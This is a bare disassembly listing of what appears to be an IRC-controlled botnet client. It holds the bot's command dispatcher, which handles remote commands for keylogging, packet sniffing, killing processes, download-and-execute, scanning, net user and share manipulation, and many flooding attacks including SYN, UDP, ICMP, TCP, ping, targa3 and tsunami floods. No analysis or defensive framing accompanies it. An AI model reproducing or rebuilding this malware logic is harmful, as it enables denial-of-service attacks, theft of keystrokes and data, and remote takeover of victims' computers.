push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset byte_412B61
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
nop
call near ptr 269086Bh
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
nop
call near ptr 269086Bh
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
nop
call near ptr 2690000h
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
call near ptr 269086Bh
nop
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset word_41525A
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
call near ptr 2680EF8h
nop
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
call near ptr 269086Bh
nop
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B098
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset word_4141B2
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call near ptr 2680EF8h
nop
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
nop
call near ptr 269086Bh
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
